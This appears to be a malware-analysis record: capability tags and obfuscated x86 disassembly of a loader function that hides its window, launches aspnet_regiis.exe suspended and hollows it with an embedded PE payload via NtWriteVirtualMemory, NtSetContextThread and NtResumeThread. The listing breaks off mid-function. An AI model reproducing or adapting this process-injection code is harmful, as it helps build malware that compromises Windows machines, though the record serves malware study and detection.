Function at 0x10003da0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14c
mov eax, dword [0x100d0800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x100d1b38]
mov eax, dword [0x100d1b34]
mov edx, ecx
add edx, 0x3f8bfa5d
sub edx, 1
sub edx, 0x3f8bfa5d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x14e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x14d], al
mov dword [ebp - 0x154], 0x357bb9c5
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
sub eax, 0x807c81b9
je 0x10006d8f
jmp 0x10003e1b
mov eax, dword [ebp - 0x158]
sub eax, 0x8198f975
je 0x100065d2
jmp 0x10003e31
mov eax, dword [ebp - 0x158]
sub eax, 0x81c5189d
je 0x10005e03
jmp 0x10003e47
mov eax, dword [ebp - 0x158]
sub eax, 0x822f3750
je 0x10006d9e
jmp 0x10003e5d
mov eax, dword [ebp - 0x158]
sub eax, 0x835ed078
je 0x1000523b
jmp 0x10003e73
mov eax, dword [ebp - 0x158]
sub eax, 0x844b4160
je 0x10005366
jmp 0x10003e89
mov eax, dword [ebp - 0x158]
sub eax, 0x8478b824
je 0x100070c5
jmp 0x10003e9f
mov eax, dword [ebp - 0x158]
sub eax, 0x85f8a2b3
je 0x10005b25
jmp 0x10003eb5
mov eax, dword [ebp - 0x158]
sub eax, 0x86be3846
je 0x100062f9
jmp 0x10003ecb
mov eax, dword [ebp - 0x158]
sub eax, 0x8b91cdc4
je 0x10006257
jmp 0x10003ee1
mov eax, dword [ebp - 0x158]
sub eax, 0x927ea4dc
je 0x10005d33
jmp 0x10003ef7
mov eax, dword [ebp - 0x158]
sub eax, 0x955fafd6
je 0x1000506e
jmp 0x10003f0d
mov eax, dword [ebp - 0x158]
sub eax, 0x969806b9
je 0x10005658
jmp 0x10003f23
mov eax, dword [ebp - 0x158]
sub eax, 0x9a0cb66f
je 0x10005258
jmp 0x10003f39
mov eax, dword [ebp - 0x158]
sub eax, 0x9bd4015a
je 0x10006367
jmp 0x10003f4f
mov eax, dword [ebp - 0x158]
sub eax, 0x9d9992f8
je 0x10006b9a
jmp 0x10003f65
mov eax, dword [ebp - 0x158]
sub eax, 0x9dfc16ca
je 0x10006572
jmp 0x10003f7b
mov eax, dword [ebp - 0x158]
sub eax, 0x9e60869e
je 0x10007174
jmp 0x10003f91
mov eax, dword [ebp - 0x158]
sub eax, 0x9eb17026
je 0x10005532
jmp 0x10003fa7
mov eax, dword [ebp - 0x158]
sub eax, 0xa122b67f
je 0x1000646b
jmp 0x10003fbd
mov eax, dword [ebp - 0x158]
sub eax, 0xa3a00698
je 0x100066aa
jmp 0x10003fd3
mov eax, dword [ebp - 0x158]
sub eax, 0xa43ecd78
je 0x10006ba9
jmp 0x10003fe9
mov eax, dword [ebp - 0x158]
sub eax, 0xa7c4f3e9
je 0x10006e72
jmp 0x10003fff
mov eax, dword [ebp - 0x158]
sub eax, 0xa96fb208
je 0x10004c8a
jmp 0x10004015
mov eax, dword [ebp - 0x158]
sub eax, 0xa995ed94
je 0x100071a7
jmp 0x1000402b
mov eax, dword [ebp - 0x158]
sub eax, 0xa9dd2030
je 0x100070b0
jmp 0x10004041
mov eax, dword [ebp - 0x158]
sub eax, 0xaadf6fe7
je 0x10004e97
jmp 0x10004057
mov eax, dword [ebp - 0x158]
sub eax, 0xab402949
je 0x10005894
jmp 0x1000406d
mov eax, dword [ebp - 0x158]
sub eax, 0xadf8057c
je 0x10006a9f
jmp 0x10004083
mov eax, dword [ebp - 0x158]
sub eax, 0xaea30517
je 0x10005ef1
jmp 0x10004099
mov eax, dword [ebp - 0x158]
sub eax, 0xb452ab74
je 0x10005509
jmp 0x100040af
mov eax, dword [ebp - 0x158]
sub eax, 0xb6ce7280
je 0x1000669b
jmp 0x100040c5
mov eax, dword [ebp - 0x158]
sub eax, 0xb7080e1b
je 0x100068fc
jmp 0x100040db
mov eax, dword [ebp - 0x158]
sub eax, 0xb9996ff5
je 0x10006ca2
jmp 0x100040f1
mov eax, dword [ebp - 0x158]
sub eax, 0xba43055e
je 0x10005e30
jmp 0x10004107
mov eax, dword [ebp - 0x158]
sub eax, 0xbd038d4b
je 0x10005b55
jmp 0x1000411d
mov eax, dword [ebp - 0x158]
sub eax, 0xc1a9f694
je 0x10005f55
jmp 0x10004133
mov eax, dword [ebp - 0x158]
sub eax, 0xc1ba0851
je 0x100061b7
jmp 0x10004149
mov eax, dword [ebp - 0x158]
sub eax, 0xc24be4d4
je 0x10006a54
jmp 0x1000415f
mov eax, dword [ebp - 0x158]
sub eax, 0xc3665e26
je 0x100066c9
jmp 0x10004175
mov eax, dword [ebp - 0x158]
sub eax, 0xc6d6cbd7
je 0x10005c3e
jmp 0x1000418b
mov eax, dword [ebp - 0x158]
sub eax, 0xca064a49
je 0x10006f36
jmp 0x100041a1
mov eax, dword [ebp - 0x158]
sub eax, 0xce17ed21
je 0x1000511c
jmp 0x100041b7
mov eax, dword [ebp - 0x158]
sub eax, 0xce5b5355
je 0x100070a1
jmp 0x100041cd
mov eax, dword [ebp - 0x158]
sub eax, 0xced26e63
je 0x10005ba6
jmp 0x100041e3
mov eax, dword [ebp - 0x158]
sub eax, 0xd0c330ad
je 0x10005ab4
jmp 0x100041f9
mov eax, dword [ebp - 0x158]
sub eax, 0xd0d383d2
je 0x1000522c
jmp 0x1000420f
mov eax, dword [ebp - 0x158]
sub eax, 0xd33bfec5
je 0x10006558
jmp 0x10004225
mov eax, dword [ebp - 0x158]
sub eax, 0xd4aae080
je 0x100052d5
jmp 0x1000423b
mov eax, dword [ebp - 0x158]
sub eax, 0xd554f133
je 0x10005792
jmp 0x10004251
mov eax, dword [ebp - 0x158]
sub eax, 0xd79e9fa9
je 0x10004f0d
jmp 0x10004267
mov eax, dword [ebp - 0x158]
sub eax, 0xd7cd6019
je 0x10006854
jmp 0x1000427d
mov eax, dword [ebp - 0x158]
sub eax, 0xdc8fecb4
je 0x10004e26
jmp 0x10004293
mov eax, dword [ebp - 0x158]
sub eax, 0xdd09cc5f
je 0x10006376
jmp 0x100042a9
mov eax, dword [ebp - 0x158]
sub eax, 0xde8e58a1
je 0x10005e4a
jmp 0x100042bf
mov eax, dword [ebp - 0x158]
sub eax, 0xdf0dbae1
je 0x10007183
jmp 0x100042d5
mov eax, dword [ebp - 0x158]
sub eax, 0xdf9c4eae
je 0x1000610f
jmp 0x100042eb
mov eax, dword [ebp - 0x158]
sub eax, 0xdfc33e76
je 0x10005e99
jmp 0x10004301
mov eax, dword [ebp - 0x158]
sub eax, 0xe04773c7
je 0x10006e63
jmp 0x10004317
mov eax, dword [ebp - 0x158]
sub eax, 0xe3303e6e
je 0x10006d7d
jmp 0x1000432d
mov eax, dword [ebp - 0x158]
sub eax, 0xe5905eea
je 0x10006ce3
jmp 0x10004343
mov eax, dword [ebp - 0x158]
sub eax, 0xe5b6fd06
je 0x10007165
jmp 0x10004359
mov eax, dword [ebp - 0x158]
sub eax, 0xe69d91ed
je 0x100068c9
jmp 0x1000436f
mov eax, dword [ebp - 0x158]
sub eax, 0xe7b6e2f8
je 0x1000645c
jmp 0x10004385
mov eax, dword [ebp - 0x158]
sub eax, 0xe87ee31d
je 0x10005c5c
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011e0
add esp, 4
lea eax, [0x100141e1]
sub esp, 4
mov dword [esp], eax
call fcn.100011e0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xb5800
call section..text
add esp, 8
mov eax, dword [ebp - 0x14c]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xd1], al
mov ecx, dword [0x100d1b38]
mov eax, dword [0x100d1b34]
mov edx, ecx
add edx, 0x2f24936b
sub edx, 1
sub edx, 0x2f24936b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x822f3750
mov ecx, 0xde859c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
add eax, 0x3c
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x154], 0x336b6181
jmp 0x100071b1
mov ecx, dword [0x100d1b38]
mov eax, dword [0x100d1b34]
mov edx, ecx
sub edx, 0x88c0523d
sub edx, 1
add edx, 0x88c0523d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfda7e97d
mov ecx, 0xd79e9fa9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov eax, dword [ebp - 0xc8]
cmp eax, 0x4550
sete al
and al, 1
mov byte [ebp - 0xc1], al
mov ecx, dword [0x100d1b38]
mov eax, dword [0x100d1b34]
mov edx, ecx
add edx, 0x91b89e40
sub edx, 1
sub edx, 0x91b89e40
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfda7e97d
mov ecx, 0x533eb777
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x154], 0x3865f749
jmp 0x100071b1
mov eax, dword [ebp - 0x130]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov eax, dword [0x100d1b38]
mov ecx, dword [0x100d1b34]
mov edx, eax
add edx, 0x85ad6794
sub edx, 1
sub edx, 0x85ad6794
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x77d5fb5
mov ecx, 0x27c0ab01
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov dword [ebp - 0x154], 0x835ed078
jmp 0x100071b1
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x154], 0x9a0cb66f
jmp 0x100071b1
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x138]
mov edx, dword [ebp - 0xb8]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
mov eax, 0xa43ecd78
mov ecx, 0xd4aae080
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x13c]
add eax, 4
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x154], 0x609df308
jmp 0x100071b1
mov ecx, dword [0x100d1b38]
mov eax, dword [0x100d1b34]
mov edx, ecx
add edx, 0x5d179839
sub edx, 1
sub edx, 0x5d179839
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa7c4f3e9
mov ecx, 0x50800a41
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov eax, dword [ebp - 0x128]
mov dword [eax], 0
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x154], 0x9eb17026
jmp 0x100071b1
mov ecx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x124]
mov edx, dword [ebp - 0xa4]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x154], 0x3a22ff6d
jmp 0x100071b1
mov edx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0x98]
mov eax, 0x415fce4c
mov ecx, 0x7bdcd71a
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x88]
imul ecx, ecx, 0x28
add eax, ecx
mov edx, dword [eax + 0x14]
mov ecx, dword [ebp - 0x90]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x128]
mov edx, dword [eax]
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov esi, dword [ebp - 0x114]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
sub edx, 0x9541a1b9
add edx, eax
add edx, 0x9541a1b9
mov eax, dword [ebp - 0x13c]
mov esi, dword [eax]
mov eax, dword [ebp - 0x94]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x154], 0xf9b3a11c
jmp 0x100071b1
mov eax, dword [0x100d1b38]
mov ecx, dword [0x100d1b34]
mov edx, eax
add edx, 0x67138c2a
sub edx, 1
sub edx, 0x67138c2a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xca064a49
mov ecx, 0x7026610c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x154], 0x19e354e1
jmp 0x100071b1
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x154], 0xbd038d4b
jmp 0x100071b1
mov eax, dword [0x100d1b38]
mov ecx, dword [0x100d1b34]
mov edx, eax
sub edx, 0xdbd75d80
sub edx, 1
add edx, 0xdbd75d80
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3ce1d3d9
mov ecx, 0xced26e63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x60]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x68]
add ecx, eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x118]
mov edx, dword [edx]
mov esi, dword [ebp - 0x108]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0x15c86ac1
sub eax, edx
add eax, 0x15c86ac1
add ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [0x100d1b38]
mov ecx, dword [0x100d1b34]
mov edx, eax
add edx, 0x8219a659
sub edx, 1
sub edx, 0x8219a659
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3ce1d3d9
mov ecx, 0xc6d6cbd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov dword [ebp - 0x154], 0x6a7fa366
jmp 0x100071b1
mov ecx, dword [0x100d1b38]
mov eax, dword [0x100d1b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7f181030
mov ecx, 0x326cc6e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov dword [ebp - 0x154], 0x4b3dc521
jmp 0x100071b1
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x154], 0xde8e58a1
jmp 0x100071b1
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x144]
mov esi, dword [eax]
mov eax, 0x3a22fdca
mov ecx, 0x70cd179c
cmp edx, dword [esi + 0x34]
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov edx, dword [ebp - 0x54]
mov eax, 0x9dfc16ca
mov ecx, 0x63a64f8a
cmp dword [edx + 4], 0
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov eax, dword [ebp - 0x50]
mov ecx, dword [eax + 4]
sub ecx, 0xe2593d0d
sub ecx, 8
add ecx, 0xe2593d0d
shr ecx, 1
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0x49d72bbe
sub ecx, eax
add ecx, 0x49d72bbe
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov dword [eax], 0
mov dword [ebp - 0x154], 0xc1a9f694
jmp 0x100071b1
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x154], 0x7eea8f1a
jmp 0x100071b1
mov dword [ebp - 0x154], 0x272669f1
jmp 0x100071b1
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x38], eax
mov ecx, dword [0x100d1b38]
mov eax, dword [0x100d1b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x10750164
mov ecx, 0x8b91cdc4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov dword [ebp - 0x154], 0x7de15b
jmp 0x100071b1
mov ecx, dword [0x100d1b38]
mov eax, dword [0x100d1b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xce5b5355
mov ecx, 0x9bd4015a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov dword [ebp - 0x154], 0xdd09cc5f
jmp 0x100071b1
mov dword [ebp - 0x154], 0x2b03b41f
jmp 0x100071b1
mov dword [ebp - 0x154], 0xa122b67f
jmp 0x100071b1
mov eax, dword [0x100d1b38]
mov ecx, dword [0x100d1b34]
mov edx, eax
sub edx, 0x2e67a3ec
sub edx, 1
add edx, 0x2e67a3ec
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8478b824
mov ecx, 0x29e4c434
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x19a09e06
jmp 0x100071b1
mov dword [ebp - 0x154], 0x3a22fdca
jmp 0x100071b1
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x13c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x128]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x100d1b38]
mov eax, dword [0x100d1b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfc8549a7
mov ecx, 0xb6ce7280
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov dword [ebp - 0x154], 0xa3a00698
jmp 0x100071b1
mov edx, dword [ebp - 0x2c]
mov eax, 0xf8f13d0d
mov ecx, 0xc3665e26
cmp dword [edx + 0x4c], 0
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov eax, dword [0x100d1b38]
mov ecx, dword [0x100d1b34]
mov edx, eax
add edx, 0xb848da0a
sub edx, 1
sub edx, 0xb848da0a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2592b8cc
mov ecx, 0x387cc958
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov eax, dword [ebp - 0x24]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x1d], al
mov eax, dword [0x100d1b38]
mov ecx, dword [0x100d1b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1902cb6
mov ecx, 0xeaa0d1f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
sub eax, 0x23722737
sub eax, ecx
add eax, 0x23722737
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x154], 0xb7080e1b
jmp 0x100071b1
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd8]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x68901045
jmp 0x100071b1
mov dword [ebp - 0x154], 0xf8f13d0d
jmp 0x100071b1
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x154], 0x142c94b7
jmp 0x100071b1
mov dword [ebp - 0x154], 0xa43ecd78
jmp 0x100071b1
mov ecx, dword [0x100d1b38]
mov eax, dword [0x100d1b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdf0dbae1
mov ecx, 0x61dd10b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100071b1
mov dword [ebp - 0x154], 0x96bb15d
jmp 0x100071b1
mov eax, dword [0x100d1b38]
mov ecx, dword [0x100d1b34]
mov edx, eax
sub edx, 0xd368cd58
sub edx, 1
add edx, 0xd368cd58
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa995ed94
